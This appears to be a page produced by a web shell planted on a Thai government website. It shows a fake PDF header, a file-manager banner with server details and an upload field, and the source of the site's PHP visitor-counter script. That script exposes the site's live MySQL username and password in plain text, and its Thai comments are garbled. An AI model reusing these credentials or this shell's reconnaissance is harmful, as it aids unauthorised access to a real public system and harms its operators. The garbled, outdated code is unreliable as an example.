%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/ |
Upload File : |
<?php
mysql_connect("localhost","thungkhana_data","JOnrAhu6OflaFo4q");
mysql_select_db("thungkhana_data");
//*** Select ѹ㹵ҧ Counter һѨغѹ红ͧѹ ***//
//*** 繢ͧҹӡ Update Counter ѧҧ daily ź 红ͧѹѨغѹ ***//
$strSQL = " SELECT DATE FROM counter LIMIT 0,1";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
if($objResult["DATE"] != date("Y-m-d"))
{
//*** ѹ֡Ţͧҹѧҧ daily ***//
$strSQL = " INSERT INTO daily (DATE,NUM) SELECT '".date('Y-m-d',strtotime("-1 day"))."',COUNT(*) AS intYesterday FROM counter WHERE 1 AND DATE = '".date('Y-m-d',strtotime("-1 day"))."'";
mysql_query($strSQL);
//*** źŢͧҹ㹵ҧ counter ***//
$strSQL = " DELETE FROM counter WHERE DATE != '".date("Y-m-d")."' ";
mysql_query($strSQL);
}
//*** Insert Counter Ѩغѹ ***//
$strSQL = " INSERT INTO counter (DATE,IP) VALUES ('".date("Y-m-d")."','".$_SERVER["REMOTE_ADDR"]."') ";
mysql_query($strSQL);
//******************** Get Counter ************************//
// All //
$strSQL = " SELECT SUM(NUM) AS CounterAll FROM daily ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strAll= $objResult["CounterAll"];
// Today //
$strSQL = " SELECT COUNT(DATE) AS CounterToday FROM counter WHERE DATE = '".date("Y-m-d")."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strToday = $objResult["CounterToday"];
// Yesterday //
$strSQL = " SELECT NUM FROM daily WHERE DATE = '".date('Y-m-d',strtotime("-1 day"))."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strYesterday = $objResult["NUM"];
// This Month //
$strSQL = " SELECT SUM(NUM) AS CountMonth FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = '".date('Y-m')."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strThisMonth = $objResult["CountMonth"];
// Last Month //
$strSQL = " SELECT SUM(NUM) AS CountMonth FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = '".date('Y-m',strtotime("-1 month"))."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strLastMonth = $objResult["CountMonth"];
// This Year //
$strSQL = " SELECT SUM(NUM) AS CountYear FROM daily WHERE DATE_FORMAT(DATE,'%Y') = '".date('Y')."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strThisYear = $objResult["CountYear"];
// Last Year //
$strSQL = " SELECT SUM(NUM) AS CountYear FROM daily WHERE DATE_FORMAT(DATE,'%Y') = '".date('Y',strtotime("-1 year"))."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strLastYear = $objResult["CountYear"];
//*** Close MySQL ***//
mysql_close();
?>
<table width="70%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td class="btn" width="55%"><div align="right">ѹ :</div></td>
<td class="btn" width="45%"><div align="left">
<?php echo number_format($strToday,0); ?>
</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">ҹ :</div></td>
<td class="btn" width="45%"><div align="left">
<?php echo number_format($strYesterday,0);?>
</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right"> :</div></td>
<td class="btn" width="45%"><div align="left"> <?php echo number_format($strThisMonth,0);?>
</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right"> :</div></td>
<td class="btn" width="45%"><div align="left"><?php echo number_format($strLastMonth,0);?>
</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">չ :</div></td>
<td class="btn" width="45%"><div align="left"><?php echo number_format($strThisYear,0);?>
</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">շ :</div></td>
<td width="45%"class="btn"><div align="left"><?php echo number_format($strLastYear,0);?>
</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right"> :</div></td>
<td width="45%"class="btn"><div align="left"><?php echo number_format($strAll,0);?>
</div></td>
</tr>
</table>